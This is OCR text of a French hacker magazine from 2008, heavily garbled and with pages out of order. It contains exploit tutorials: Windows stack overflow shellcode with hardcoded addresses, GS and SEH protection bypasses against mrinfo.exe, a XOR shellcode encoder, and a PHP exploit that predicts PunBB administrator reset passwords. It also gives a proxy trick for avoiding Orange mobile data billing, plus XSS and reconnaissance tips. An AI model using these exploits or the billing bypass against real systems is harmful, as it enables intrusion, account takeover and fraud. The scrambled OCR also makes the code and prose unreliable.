55. aire du moment Simple d emploi elle permet de comuniquer tr s facilement avec tout vos contacts d s qu ils se connectent Internet Mais cette belle convivialit un gros defaut tous vos messages transitent en clair sur Internet Un simple sniffing suffit pour lire vos conversations Sim pLite corrige cette imperfection en cryptant vos messa ges au moment de leurs envois et ne seront lisible que par votre correspondant La mise en place est assez simple une fois l installation effectu SimpLite vous demandera de cr er votre clef publique et il ne restera plus qu la faire valider par vo tre correspondant Notez qu il existe aussi des fonctions de cryptage avec certains autres logiciels de messagerie plus ou moins compatible avec le r seau MSN Simp Lut WEBPHONE BY ORANGE auteur philemon Votre mobile est chez orange Cet article va s rement vous int resser Je ne sais pas si vous le savez mais il existe une option surf pour 6 euros par mois per mettant de surfer en illimit uniquement sur le portail orange existe une petite astuce pour bypasser cette protec tion En effet il faut param trer votre mobile de fa on a ce qu il passe par le proxy http 193 253 141 80 sur le port 80 sans mettre de nom d utilisateur ni de mot de passe Maintenant les connections data ne serront plus factu r s BAckTRAck LINUX http www remote exploit org backtrack html est parfois partique d avoir
56. alis e par la m me graine chaque fois Puisque le hacker connait la graine ayant servie g n rer le nouveau mot de passe ue du compte de l administrateur il s en sert mt_srand double p rte AA juste pour g n rer celui ci nouveau et if strcmp mdS5 SEED random pass 8 SHASH NOT LOGGUED 0 par la m me occasion le lien servant l activer li H D termination de la graine du g n rateur de nombres al atoires ttt forcage de la graine du g n rateur for p 0 0000 p lt 1000000 0000 p Ssrand Sp break H D termination du nouveau mot de passe de l administrateur du forum JH mt srand ssrand random pass echo NOUVEAU MOT DE PASSE DE L ADMINISTRATEUR random pass 8 lt br br gt Am SURL profile php id22 amp action change pass amp key random pass 8 Sh curl init curl setopt Sh CURLOPT URL curl setopt Sh CURLOPT RETURNTRANSFER 1 curl exec Sh CONCLUSION N amoins aujourd hui encore subsistent bon nombres de forums sur le web tournant sous la version faillible A travers cette analyse on voit de quelle mani re sont j ai denombr aujourd hui 617 sous la version 1 2 16 concues les exploits visant des applications web Le hac Par une recherche sur Google sans compter ceux des ker fait tr s souvent preuve d ing niosit afin d auto Versions pr cedentes et ceux qui n affichent pas leur matiser les
57. an en frissonne Sg TJ E 68 pd i T EIL is d eines ressenti sa pr sence des moines a ressenti a que ZC de plomb qui r gne g Demian sait parfaitement E 1 1 ne des silhouettes Se d tache de la stele la fluidit d un courant d air TY JJ Il s appr te donc rompre le 51 du temple lorsqu 0 avance vers lui avec d HER K suivre 41 Lo PT 4 E 1 Octobre 2008 69 NuIT pu Hack 2008 Celelibi Cette ann e comme tous les ans hackerzvoice ex hac kademy a organis une rencontre IRL Des conf rences et des challenges de quoi passer une bonne soir e pour des passionn s et professionnels de la s curit informa tique Cette 6eme dition de la nuit du hack a rassembl e le 14 et 15 juin dernier pas moins d une centaine de partici pants et s est d roul e dans l enceinte de l cole ISCIO 1 en banlieue parisienne Pendant que les participants arrivent les organisateurs s attachent installer le mat riel Sono vid o projec teur r seau wifi r seau cabl 18h tout est pr t les conf rences peuvent commencer n RI PLANNING DES CONF RENCES D buggage DS Aluc4rd Wifi DS Virtualabs Scapy Nono2357 Exploitation kernel sous Windows IvanlefOu Securit physique Cocolitos amp Virtualabs Chaque conf renc
58. ans surprise les syst mes Windows sont sensiblement plus sensibles ce ph nom ne que d autres comme Linux Il convient d tre un utilisa teur responsable en pr f rant lire les emails en mode texte plut t que HTML de ne pas r pondre aux spams se m fier des liens URL comme des pi ces jointes contenus dans un email mener une politique de droit d acc s et de cloisonnement du r seau etc Et porter une attention toute particuli re aux postes nomades l introduction d une source externe v rol e au r seau blind peut faire tomber celui ci attaque du processeur des applications des pilotes de p riph rique etc Les serveurs sont rarement teints les ordinateurs fa miliaux comme les ordinateurs d entreprises sont sou vent allum s sans que l utilisateur ne se trouve devant son poste Tout ceci facilite l utilisation abusive en roue libre de ces postes informatiques toute anomalie qui pourrait ventuellement tre d tect e passe totalement inaper cue Les codes malveillants ne vous pr viendront pas de leur pr sence 1 Concernant les d tournements d outils informati ques je renvoie les lecteurs mon article Outils d administrateur outils de pirates The Hackademy Journal n 9 juillet 2003 2 Class comme un robot d utilisateur diff rent des robots de serveur 3 W32 PrettyPark GTBot AgoBot PhatBot ForBot XtremBot SDBot
59. ardez du c t du compl ment deux 2 HackezVoice 1 Octobre 2008 4 2 char Le type char repr sente un caract re d un octet Il per met de stocker des caract res mais aussi des entiers sur 8 bits En r alit il n y a pas vraiment de diff rence entre les deux la diff rence est purement conceptuelle Un caract re est une repr sentation conceptuelle des donn es bien entendu il sera stock sous forme d un nombre c est dire de bits Pour transformer un caract re en nombre c est simple on utilise le codage ASCII Une fois qu on a le code AS CII d un caract re il n y a plus qu l crire sous forme binaire et on pourra le stocker dans la m moire de l or dinateur Afin de se convaincre de la dualit charact re entiers on peut crire le code C suivant 3 TT Char c amp cu primi Sdn Que se passe t il dans code L instruction char c r serve une zone m moire pour y stocker un char un octet c A crit dans la zone r serv e une certaine suite de bits 01000001 Ensuite le premier printf va lire cet te suite de bits et l afficher comme un caract re C est dire que cette suite de bits va tre envoy e vers le terminal sans aucune modification et le terminal in terpr tera le nombre re u comme tant le code ASCII du caract re afficher et donc transformera ce code en un ensemble de pixel allumer L affichage avec l
60. ation que l entreprise traite allant de la secr taire au sys admin en passant par la femme de m nage et en reve nant par les mainframes traitent les donn es Plus l entreprise est consciente des dangers qu elle court en s exposant sur le net et la face du monde plus l at taque sera mise l preuve et plus elle aura de chances d chouer HackezVoice 1 Octobre 2008 D MYSTIFICATION D EXPLOITS VISANTS DES APPLICATIONS WEB Apophis INTRODUCTION Les aspects les plus connus d internet par le grand pu blic sont certainement les applications web On compte parmis les plus repandues de ces applications les CMS Syst me de gestion de contenu qui sont en quelque sorte des portails de site web automatis s et aussi les logiciels de forum L heure tant de nos jours au cot facilit de prise en main de l informatique ces applications sont main tenant enti rement automatis es si bien qu on peut aujourd hui cr er son site web avec un forum int gr en seulement quelques clics Le prix payer tant parfois des trous de s curit PunBB est ce titre un de ces logiciels de forum que je consid re pour ma part comme excellent car gratuit relativement bien s curis par rapport d autres et sur tout rapide car l ger D apr s le site des utilisateurs francophones de ce logiciel PunBB est un forum de discussions PHP rapide et l ger Il est d livr sous la licence GNU GPL
61. avec notre shellcode fait maison s Medi dogs VovercTok QvERCL K BureasushgzvsExploir avec shellcode wi xder Exploit 1 chellcode winExec hardcoder exe ellcode perso Pour hzv par Overclok verclok blogspat com lcreation du processus B Calculatrice E E K Ic am Vous tes dor navant capable de coder des shellcodes statiques Mais il faut savoir qu il existe aussi des g n rateurs de shellcodes comme celui de metasploit 19 qui est tr s bien on peut cr er des shellcodes alphanum riques restreindre l utilisation d un opcode et pleins d autres option tester Metasploit propose m me un kit de developpement 20 de shellcodes Nous en avons alors finis avec les quelques explications sur le coding de shel Icode statique basique A pr sent afin de voir si vous avez assimil et compris les diff rentes notions jusqu pr sentes abord es nous vous proposons un cas d cole mais un cas r el Votre qu te est donc exploiter un stack overflow dans le binaire Mrinfo exe pr sent nativement sur un syst me windows XP La faille se situe donc lors du traitement de la chaine pass en argument avec l option i Comme d habitude nous laborons un petit plan d attaque 56A ret 4 a shellcode On commence donc charger l ex cutable dans OllyDbg nous tra ons un peu puis nous tombons sur la routine vuln rable
62. cez votre shellcode sur la pile et vous r crivez la sauvegarde de EIP avec une adresse qui pointe sur un JMP ESP Pour illustrer voici un petit screenshot qui pr sente l crasement des don n es Et voici un petit screenshot illustrant l exploitation Pour hzv par Overclok Overclok creation du pro B Calculatrice lrarcezgus Cree E Documents arx Voici donc les trois premi res grandes parties termi n es vous savez pr sent exploiter un stack overflow basique sans protections ajout es Mais comme nous vous l avons dit un peu plus haut des protections sont install es au cours du temps afin de contrer ce genre d attaque Dans la prochaine partie nous allons vous pr senter la fa on op rer pour bypasser la protection mise en place par Visual C avec le flag GS 22 et la DEP 23 32 CONTOURNEMENT DES PROTECTIONS E a DL E mov Debugger WasPresent Cookie GS push 1 La protection call ert debugger hook pop Tout d abord nous allons un peu tudier la protection en Push 0 IpTopLevelExceptionFilter elle m me avant de la contourner call ds imp SetUnhandledExceptionFiltergi4 SetUnhandledExceptionFilter x push offset GS ExceptionPointers ExceptionInfo Le code est le m me que pr c demment sauf qu il est jan EE EF C Te compil avec Visual C issue de la suite Microsoft Vi inz short loc 401437 sual Studio 2008 av
63. deux instructions NOP 0x90 afin d obtenir un dword dans le but de r crire compl tement le poin teur sur le SEH suivant Notre seul est unique probl me c est de trouver une adresse avec laquelle on pourra r crire le pointeur sur le handler La suite d instruction sur laquelle nous de vons arriver devra d caler la pile de 8 octets la sau vegarde EIP et le premier argument et enfin un RETN pour d piler le pointeur dans EIP C est en 0040109E que notre r ponse se trouve 0040109E 83C4 04 ADD ESP 4 004010A1 5D POP 004010A2 N C3 RETN Notre plan est bient t termin courage notre dernier probl me est la pr sence de null byte dans l adresse car la fonction strcpy ne va pas le copier dans la pile R fl chissons un peu et regardons l tat original de la pile sans avoir r crit les pointeurs 0033275 ve 161 ael2FFBd C ael3FFBO M Bie g4stE Hg r 18152 1 Sin FFFFFFEE m 2 1 prq laz HCRILSSk ZbIuzg ib AELK IC HEEL 8 Bee33PIld aeaniaapa fae aess4sEE FETURM t ln 60481688 from vu ln 894818 ASCII aga RETURN t wi lm 0A461213 from vu Lln 4819 FC328739 6 E mtdl 7C320738 FFFFFFFF 7FFD4aan ENS D CRASEMENT DES DONNEES aca agaoada 8013 90 erem amp el gaCca L 4 AE 3FFEB H Fointer to next SEM record eejeiros aed me Be
64. e for mat va lui interpr ter cette suite de bits comme un entier et va donc la convertir en criture d cimale et envoyer la suite de caract res compris entre 0 et 9 vers le terminal sous la forme de leur code ASCII encore une fois Et encore une fois chaque code ASCII sera transform par le terminal en un ensemble de pixel print cn prin da c se passe exactement la m me chose lorsqu on met 42 dans la variable c L unique diff rence c est que l on a crit dans le code source une repr sentation num rique a la place d une repr sentation sous forme de carac t re 3 float Les nombres virgule flottante sont un peu plus comple xes repr senter en effet comme leur nom l indique la virgule n est pas toujours plac e au m me endroit On peut aussi bien repr senter des nombres tr s petits que des nombres tr s grands Loin de moi l id e d expliquer en d tail la norme IEEE 754 si vous int resse vous pourrez y regarder de plus pr s ici 3 Les flottants se basent sur une notation scientifique des nombres Vous savez quand on crit 7 331 10 42 avec un seul chiffre avant la virgule Et bien les nom bres flottants sont cod s en m moire suivant ce prin cipe la diff rence principale tant que les nombres sont crits en base 2 et non en base 10 Un peu de vocabulaire si on consid re le nombre 4 2 10 5 on appelera exposant le nombre 5 et
65. e je mets a disposition une archive contenant l ensemble des codes et sources 7 Nous pouvons commencer parler vuln rabilit Pour commencer nous allons nous baser sur un code vuln ra ble Celui ci va cr er un tableau de 10 caract res nous allons ensuite y copier le contenu du premier argument pass au programme Pour cela on utilise la fonction strcpy 8 de cette fa on unction argv 1 0 void famction char buf char ownz 10 strcpy ownz buf On pourrait se demander ce qui se passe si nous pas sons au programme un argument contenant plus de 10 caract res Il va se produire ce qu on appelle un d pas sement de tampon de l anglais Buffer Overflow 9 Notre buffer tant allou sur la pile on l appel donc Stack Overflow Illustrons tout cela Le code tant compil classiquement gcc test c o vuln exe vuln exe Une fen tre de dialogue apparait alors celle ci nous annonce que notre programme a crash l adresse 0x41414141 Afin de mieux comprendre le crash de l application nous allons debogguer et d sassembler no tre ex cutable avec OllyDbg 1 Nous recherchons donc notre fonction vuln rable dans le code asm et nous tom bons sur d m 4 ERP i T pnr head LZ l d SEX k LU SUR 10 BB B MEM
66. ec l option GS Afin de comprendre push 1 le fonctionnement de la s curit mise en place je vous call debugger hook conseil l utilisation du puissant d sassembleur IDA 24 Pop ecx IDA embarque un d boggueur mais OllyDbg est notre avis bien mieux c est pour cela que nous utiliserons IDA seulement pour l analyse statique Dead listing en anglais Voici le code d sassembl de notre ex cutable compil avec Visual studio Reprenons depuis le d but ce qu on appel cookie est enfaite un DWORD un nombre autrement dit Le cookie va se retrouv dans le registre ECX avant push l appel de la fonction de v rification d int grit celle ci compare ECX la valeur du cookie empil si elles sont mov cp esp sub ep 10h diff rentes on met fin au processus suite l appel de mov eux security cookie TerminateProcess 25 Le cookie va tre pos sur la pile xor e ax ebp apr s que les sauvegardes des registres EBP et EIP soit empil s Dans le cas ou nous d bordons de notre espace dans le but de r crire ces sauvegardes le cookie sera lui aussi r crit c est pour cela que le programme appel mov ebp var 4 mov ebp arg 0 Duch eax Lehar 252 uk ddr ebp var 10 une fonction de v rification d int grit du cookie Cox char des dre Voici un petit sch ma de la situation pour les personnes add F qui ne verraient pas bien l tat de la stack
67. er C est ce moment l l on commence voir l attaque s esquisser car en effet malgr la mise en place de la protection GS nous arriverons priori contr ler le flux d ex cution du binaire Exploitation par r criture de SEH Comme nous l avons sugg rer la fin de la sous partie pr c dente nous aurions un contr le du programme si nous arrivons effectuer deux taches Tout d abord r crire les pointeurs avec des valeurs intelligentes et enfin soulever une exception Pour cette exploitation nous travaillerons avec le code suivant compil sous Visual Studio 2008 avec le flag SAFESEH NO 28 Si ce flag est activ notre binaire possedera un champs dans le PE portable executable qui listera les handlers autoris s dans ce cas l notre exploitation serait donc compromise FLFai BUGS rom EL 34 esiin ka Minclude tring lz voil void ini arge char pin Owna your y 1 re function argv D return void functia char buf ini bc char owes 10 amp trcpy ownz but b Lips l print Gus d executun du programme reuss Man Alors une petite chose vous expliquez vous constatez que nous allons tricher en divisant par z ro afin de lever une exception Sans cela il tait impossible de cr er une exception en
68. er lire notre ShellCode apr s compilation le fichier nouveau XORis et le BYTE de comparaison Par habitude 0x99 convient parfaitement sauf excep tion Nous faisons aussi suivre ci apr s le code en C comment HackezVoice 1 Octobre 2008 9 Simple programme XOR lt InFile bus lt QuiFile Jun mm mm lt stdio h gt int main int argc char argv d int count byte Variables pour les compteurs FILE in out Pointeurs fichiers In entr e et Out sortic lt 3 Contr le la ligne de commande 17 Affichage d un avertissement n Ji printf Abandon Ligne de commande invalide sn pont InFile birne OutFile bin n X PAR n jy return 0 Exit d Contr le la lecture octale in fopen argv 1 rb L Probl me lors de la lecture printf Erreur sur le fichier sn argv 1 Y return 0 Contr le criture octale if out fopen argv 2 wb NULL H Probl me lors de l criture Erreur sur le fichier 56s An argv 2 return 0 d Tant que fichier n est pas enti rement parcocru EOF while count gete in count count 0x99 sur DWORD convenir byte
69. er avec diff rents types de serveurs et ce avec diff rents types de protocoles Les fonctions utilis es dans cet exploit permettent d ini tialiser CURL et de communiquer avec le serveur h ber geant le forum cibl e envoi de requ ttes et reception de reponses curl init initialise une session cURL son prototype est ressource curl init string url elle est g n ra lement utilis e sans param tres et renvoie une session CURL en cas de r ussite curl setopt d finit une option de transmission cURL son prototype est bool curl setopt resource ch int option mixed value on lui fournit une session cURL retourn e par curl init comme premier param tre une option utiliser des constantes pr definies com mencant par CURLOPT comme second param tre et la valeur d finir pour cette option comme dernier para m tre Elle renvoie vraie TRUE en cas de succ s curl exec Ex cute une session cURL son prototype mixed curl exec resource ch elle execute simple ment la session pass e en param tre et renvoie vraie Sh curl init TRUE en cas de succ s ou le resultat de la session en fonction des options C est uniquement ce qu il est necessaire de savoir sur cette biblioth que dans notre cas Analysons maintenant l exploit pas pas ANALYSE DE L EXPLOITATION Initialisation Le but de l exploit tant d automatiser la t che d crite dans le concept les hackers
70. es Le g n rateur est donc initialis l aide d un nombre compris entre 0 et 1 000 000 et on pouvait th oriquement d j tenter de deviner le mot de passe par brute force mais ce n est pas le but de cet article car n c ssitant d impor tants moyens et assez couteux en temps de calcul Le bulletin de s curit indiquait alors un autre moyen permettant d obtenir le nouveau mot de passe gr ce au cookie seed qui est litt ralement une graine cr e a l installation du forum et enregistr e en m me temps que le mot de passe dans les cookies ces petits fichiers enregistr s sur votre disque dur vous permettant de vous connecter automatiquement lors de vos prochaines visites sur le forum Le cookie seed peut tre connu car il n est pas r elle ment al atoire ce sont des caract res du hash md5 de l heure micro s condes de la cr ation du forum qui est connue gr ce la date de cr ation du compte de l administrateur Ensuite comme dit dans le bulletin de s curit le nou veau mot de passe peut tre connu entre autre gr ce au fait que lors d une connexion avec un cookie erron PunBB envoie un nouveau cookie contenant un hash compos du hash du cookie seed et de celui d un mot de passe al atoire Par comparaison de ce hash avec celui d un autre g n r par l attaquant l aide du cookie seed on arrive de terminer la graine ayant servie initialiser le g n rateur de mot de passe al
71. es entiers les octets sont stock s lt l envers gt le nombre 0 625 sera donc stock sous la forme 00000000 00000000 00100000 10111111 Notez que tous les nombres d cimaux ne peuvent pas s crire de mani re correcte sous forme d un flottant Par exemple 0 9 en binaire s crirait 0 11100110011 avec le motif 0011 r p t l in fini Renseignez vous propos de la norme IEEE 754 elle d crit plus pr cis ment les diff rents probl mes li s la perte de pr cision 4 Unions Si vous avez appris le C on a d vous dire que les union c est un peu comme les structure sauf qu on ne peut se servir que d un champ la fois car les union stockent tout dans une m me zone m moire L une des utilit s des unions c est de pouvoir interpr ter selon dif f rents codages une m me donn es Regardez plut t cet exemple Regardez les trois derni res li union int float gnes On commence par mettre int x dans la zone m moire associ e float f a la variable val la donn e 4 2 cod s comme un flottant Ensui E te on acc de cette m me don int float val n e comme si c tait un flottant valf 4 2 puis un entier Autrement dit la 7 fun m me donn e physique t Prin vali interprete comme si il s agissait d un flottant cod comme tel puis comme si il s agissait d un entier cod comme un entier Il devrait devenir plus clair maintenant qu une d
72. es a dur entre 30 et 60 minutes avec entre chacune 15 30 minutes de pause pendant les quels les DJ John et Shimo ont mis l ambiance avec un son lectro Et c est Aluc4rd qui commence avec sa conf rence sur le d buggage de programmes pour Nintendo DS en utilisant gdb et un EN Lt NET mulateur de DS Cette conf rence n tait pas pr vue la base elle a remplac e celle sur backtrack 3 qui n a pu avoir lieu cause d un emp chement de derni re minute Un grand merci Aluc4rd en tout cas pour sa prestation de haut niveau Ensuite c est Virtualabs qui nous a pr sente les r sul tats actuels de ses travaux sur la console Nintendo DS Il s est tout particuli rement int ress aux diff rentes attaques wifi possible avec cette console Nono2357 a ensuite pr sent l outil r seau scapy Cet outils est capable de r aliser des choses tonnantes avec une incroyable facilit d criture C est ensuite IvanlefOu qui nous pr sente l exploitation des vuln rabilit s du noyau Windows Et en particulier comment partir de l criture d un seul octet 0 dans l espace noyau on peut ex cuter un shellcode avec les droits du noyau HackezVoice 1 Octobre 2008 y _ lt HackezVoice 1 Octobre 2008 Et enfin Cocolitos nous a pr sent le lockpicking autre ment dit l ouverture de serrure sans clefs Il est int ressant de voir que dans la
73. es challenges Plus tard les hamsters b lliqueux reprendont la t te et consolideront leur avance 6h du matin toutes les quipes ont arr t de travailler sur les challenges L quipe des hamsters b lliqueux a donc remport e le challenge avec 560 points cf l en cadr Chacun des hamster a gagn une formation au choix chez sysdream 3 dont Trance apr s avoir valider le plus de failles remporte la formation CEH Bravo a eux Pour ceux qui veulent s y essayer le challenge sera re mis en ligne partir du 20 10 08 la m me adresse On retiendra tout de m me la pr sence d un individu un peu part Si on dit des informaticiens qu ils sont un peu part un peu dans leur monde lui est un super informaticien Si d ici 6 mois 1 an vous observez une r volution dans la soci t ou sur Internet pensez lui cf 4 71 En conclusion la Nuit du Hack toujours gale elle m me des PC de la musique de la bi re et des geeks M langez le tout laissez mac rer une nuit dans une bonne ambiance rajoutez quelques impr vus et vous obtiendrez une bande de geeks fatigu s mais tr s heureux et pr ts recommencer Rendez vous l ann e prochaine Un grand merci toutes les personnes pr sentes ce jour l tp www iscio com tp www sysidea com tp www sysdream com p www dailymotion com relevance search nuit 2Bdu 2Bhack video x5wf6j nuit du hack 2008 tech tp
74. eu de chose identique soit nous manquons cruellement Buff dll db user32 0 de portabilit fct db MessageBoxA 0 A l analyse nous comprenons que l id al serait de pouvoir d terminer la version de l Operating System code Windows afin d obtenir les adresses l mentaires de GetProcAddress et LoadLibraryA Start Nous voudrions ainsi pouvoir travailler sur un Shel ICode g n rique en d autres termes portable sur I les diff rentes stations Win32 quelles soient XP ou Push OFFSET Buff dll On charge user32 dll en m moire Win2000 selon SP divers Call LoadLibrary Depuis la version 4 0 95 Windows a introduit un nouveau format pour les fichiers ex cutables le for Push OFFSET Buff fct On cherche MessageBox A mat PE Portable Ex cutable Pour atteindre un haut Push Eax Handle de LoadLibrary degr de portabilit il faut donc d velopper un code Call GeiProcAddress qui sache interpr ter les diff rents segments impor tants de notre PE L id e d gag e par le groupe LSD consiste pointer Push 32 On d pose nos arguments en premier lieu sur le pattern MZ puisque celui ci est Push OFFSET Buf dll le point d entr e des segments d informations relati Push OFFSET Buff ves l application Push 0 Afin de d finir la m thode le plus simplement possi ble le mieux est de d montrer litt ralement les diff Call contient l adresse de MessageBoxA
75. eviendra un pointeur sur la suite des donn es pass es au programme Un petit sch ma pour clarifier Vers hrs basses F EF poinia une ce EIP gt Ott Wes les PUS 27 Le probl me qui peut alors se poser c est de trouver un endroit l on peut trouver cette instruction Cet endroit doit tre accessible par n importe qu elle pro cessus Pour ma part j ai choisis de mener une petite recherche du cot des librairies charg es par tous les processus Ma recherche f t fructueuse dans la librairie ntdll dli 11 Pour mener bien notre recherche nous allons utiliser notre fid le OllyDbg Il suffit de rechercher l instruction JMP ESP dans la li brarie et de r cup r son adresse Pour cela on lance OllyDbg et on assemble une instruction JMP ESP on r cup re la suite h xad cimal FFE4 Maintenant nous allons pressez le bouton M dans Olly Dbg afin de lancer une recherche sur les opcodes r cu p r s pr c demment nous obtenons son adresse Nous avons donc notre adresse de retour compl tons notre plan d attaque aaaaaaaaaaaaaaaaaaaa NXEDNx1ENx95Nx7C shellcode Pour cet exemple j ai utilis un shellcode dit statique les adresses des fonctions utilis es sont hardcod s pour gagner de la place le voici cha shellcodel aX 0a ON OUS COO a ON OCT 908 907 Seconde exploitation Place la seconde exploitation imaginons q
76. f2 xJEx 24 xi4Nx75 V xeliaHbin5a tention de l entr e du Kernel32 dll seb asexel KL ERE x ECO xDD xo VXEHD A w Ce Ki VE x B x OC W H L 5x x t UnTh FxitThreadi Abix xdp ix5bix x xlbixBbix5bixDPENxeobiX418 x53 a S r EB Yu ey idi ym hh ER xd6 RES da aatatel R Ex EE xx d Abd Lie SS TS y ITSNWTS YwWELY 74 Pour finaliser premier exercice nous allons appliquer une cryption en l occurrence 0x99 afin de retirer l ensemble des octets NULL Puisque nous souhaitons garantir une pleine int grit du code il faut aussi int grer la routine de d cryption pr c dente au d but du ShellCode soit 23 octets suppl mentaires Notre OP CODE final et crypt se d crit ainsi les couleurs diff rencient les parties essentielles HackezVoice 1 Octobre 2008 16 HackezVoice 1 Octobre 2008 Note Pour crypter notre ShellCode et afin de ne pas nous embrouiller davantage nous avons choisi un BYTE simple pour l op ration de XORisation soit 0x99 Or pour que cette commande soit encore plus efficace il aurait fallu tablir pour DWORD un groupe de 4 octets vraiment diff rents du genre 0xd34dc0d3 s il ne rend pas de NULL bytes bien s r ou encore autre chose se lon 4 ShellCode
77. figur un service peu nous lister l ensemble des machines du r seau interne de l entreprise Ceci est tr s utile pour un hacker donc extr mement dangereux pour l entreprise Cela est donc r alisable par la commande nslookup normalement pr sente par d faut sous Windows et Linux et dig sous Linux seulement Il faut savoir que la commande nslookup n est plus mise jour sous Linux il est donc pr f rable d utiliser dig par contre pas de probl me avec la premi re sous Windows Pour notre recherche un peu plus loin on peut tenter de faire un transfert de zone Si cela r ussi le serveur DNS nous renverra la liste des serveurs associ au domaine HackezVoice 1 Octobre 2008 50 HackezVoice 1 Octobre 2008 SCAN DE PORTS Maintenant que nous avons une liste de serveurs en main nous allons pouvoir proc der un scan de ports L ob jectif est ici d tablir une liste des ports ouverts ou non et de regarder les services qui tournent derri re Cela nous permettra de rechercher des vuln rabilit s exploitables via ces services FINGERPRINTING Nous venons de faire un scan de ports il me semble donc logique d enchainer directement sur le fingerprin ting Cette tape consiste relever la version de l OS Ope rating System tournant sur le serveur On appel cela aussi relev de banni re Cette tape ne peut tre saut e du fait que les attaques ne seront pas les m mes
78. fr noce1 8 1 14 Gecko 20000422 Firefox 2 0 0 14 mais d est an iai Mon 2 Votre cran une r solution de 1280 x pixels Config actuelle Cliquez maintenant sur le torbutton un oignon si vous l avez configur sous forme d ic ne Rechargez la page du cnil Votre configuration MA CONFIGURATION Sadezwous que NHE esse I d votr machine es Cf 15 240 St Que votre adresse DHS s NOUS pomonsa valr que votre ordinateur utilise Jo syst me iunc Vote mawigalmur pour norm de coda bo 11 LE Line To v7 3 1 14 Gecko ORA A T mais an Moria Fur 2 Vote ecran 3 une ressluton d Config avec Tor 1280 x 800 pois Nous savons maintenant cacher notre adresse IP en passant par un proxy Cacher son OS son navigateur et l url de Changez maintenant le REAL UA par IE 6 0 WinXP provenance Retournez sur le site du cnil et v rifiez les informations est int ressant de poss der un deuxi me plug in fere confiquration afin de se rendre encore plus anonyme en cachant F son navigateur et son syst me d exploitation Se faire passer pour un windows sous internet explorer alors que l on est sous linux avec un firefox CONFIGURATION Saviezwous qu radressa IP da votre machina asi Prefbar est le nom de ce plug in g1 169 137 2 9 Rien de plus simple rendez vous sur cette page st qus vote adresse DMS osi http prefbar mozdev or
79. g Cliquez maintenant sur install prefbar Red marrez firefox et vous vous trouvez avec une magnifique barre Haus pourrons voir que ordinateur utilise systeme d exploit dion Microsoh Windows votre navigatear 3 pour nom da code Morand compatible Map 6 0c NT 5 11 1368 Cds ef Microsoft Internet Explorer 6 0 cran a une r solution d TAHU x HOD nies La Prefbar Colors M Images W javaScript BM Flash Clear Cache Save Page Real UA 4 HackezVoice 1 Octobre 2008 42 Enfin nous allons masquer l url d origine Cela vite de communiquer aux sites web que vous visiter votre prove nance Pour cela dans la barre d adresse tapez about config Dans le champs de filtrage tapez referer Changer la valeur de network http sendRefererHeader pour la valeur O Retournez sur le site du cnil cliquez dans le menu gauche sur Votre configuration et v rifiez les informations Vous constaterez que le champs Pour acc der cette page vous avez cliqu sur un lien situ l adresse suivante n est plus rempli A ce stade nous sommes anonymes Nous pouvons commencer rechercher des failles sur le web FAILLES XSS Le Cross Site Scripting ou XSS est une exploitation de failles HTTP directement li e des erreurs ou n gli gences de programmation Pourquoi XSS Parce que CSS pourrait porter confusion avec le Cascading Style
80. g Point Environment pon Effectivement peut tre que l adresse eb de celui ci se compose d un octet NULL Ainsi pop d autres m thodes obligent trouver une pos X Risation Ecx sibilit de saut par la commande Jmp vers un mov cl volume ShellCode n registre ou un pointeur dans lequel figure notre ShellCode D s lors il faut par moment cla ter notre pile dans des proportions importantes XOT de facon obtenir une entr e exploitable via xor dword ptr ebx 17 DWORD XORisation avec DWORD selon le pointeur ESP notamment A cet effet dans ce cas de figure tr s pr cis il convient d utili ser une adresse de fonction interm diaire se trouve un saut sur ce pointeur soit une com mande Jmp ESP par exemple La plupart des applications vuln rables un d borde ment de tampon livrent des segments importants pour l exploitation parfois plusieurs milliers d octets Rien voir avec notre application pr c dente o nous dispo sions seulement de quelques 64 octets sub eax FFFFFFFFC loop xor Boucle pour l op ration XOR D but du ShellCode crypt entr e du d cryptage Par contre pour crypter un ShellCode nous allons cr er un petit programme nomm afin de XORi ser l ensemble des commandes qu il nous est possible de lire dans une formulation hexad cimale via MSVC Nous utilisons une ligne de commande qui comporte le fichi
81. hackerzvoice net Cocowebman hackerzvoice net CrashFr hackerzvoice net Dark log Dvrasp hackerzvoice net FaSm Floux Freeman hackerzvoice net IOT Record Minus Virus hackerzvoice net OverclOck Philemon ShimOQhac kerzvoice net SnAkE Stormy TiteFleur ThierryCrettol Val ry Ras plus Virtualabs hackerzvoice net mattew hackerzvoise net htt puiluunuu nackarz vi cucam namt HackezVoice 1 Octobre 2008 HACKERZVOICE 1 OcToBRE 2008 4 gt CODAGE DE DONN ES Celelibi 7 gt BOF EXPLOITATION AVANC E Stormy 19 gt REDIRECTION DE FLUX Cocowebman 25 gt STACKS OVERFLOWS Overclock 40 gt LA TOILE NUE FACE AU RENARD FaSm amp SnAKkE 45 gt NDS LE WIFI ULTRA PORTABLE Virtualabs 49 gt PRISE D EMPREINTE DE SERVEUR Floux 53 D MYSTIFICATION DE L EXPOIT WEB Apophis 57 gt LES R SEAUX DE ROBOTS Val ry Rasplus 49 gt ST GANOGRAPHIE Thierry Crettol 61 gt La BD FUTURE ExPosED Iot Record 70 gt La Nurr pu Hack 2008 73 gt CvBERFLASH 74 gt LES PTITS CONSEILS ENTRE AMIS 75 gt A L HONNEUR 77 gt How To CONTRIBUTE La tribune HZV HZV Mag offre tous ceux qui le souhaitent une tribune libre pour exposer vos th o ries concepts et travaux sur la s curit informatique humaine ou physique Cette tribune est galement ouverte toutes les solutions commerciales sous couvert d un partenariat avec HZV Contact
82. hellcodes statiques non optimis s cod par mes soins avec Masm32 2 Un Shellcode qui va loader user32 dll puis faire une Mes sageBox et enfin un ExitProcess comme les adresses sont harcod es pour MON syst me il faudra surement s changer 29 shellcode LoadLibrary User32 dll MessageBox OverclOk amp amp ExitProcess hardcod par OverclOk http verclOk blogspot com 386 model flat stdcall option casemap none data code xor ebx ebx XOT eax eax mov ax 6c ch push eax dl push 642E3233h d 32 push 72657375h resu mov edi 7C801D77h LoadLibrary A push esp call edi push ebx push 6B306C63h kOlc push 72657630h revO mov ecx esp x MR OK X string SCH string sh ebx HWND mov edi 7E3DQ058Ah MessageBoxA call edi push ebx mov edi C81CDDAh ExitProcess call edi end start HackezVoice 1 Octobre 2008 30 Tout d abord nous devons mettre zero les registres Voici un second exemple appelant cette fois ci que nous allons utiliser savoir ebx et eax WinExec 18 Ensuite afin d appeler LoadLibrary pour charger user32 386 dil nous devons poser sur la pile la chaine de caract model flat sidcall res lt User32 dll gt nous utilisons donc l instruction push option casemap none pour poser sur la pile la chaine 4 lettres par 4 lettres Seulement la chaine fait 10 caract res nous sommes dala oblig s d utiliser un
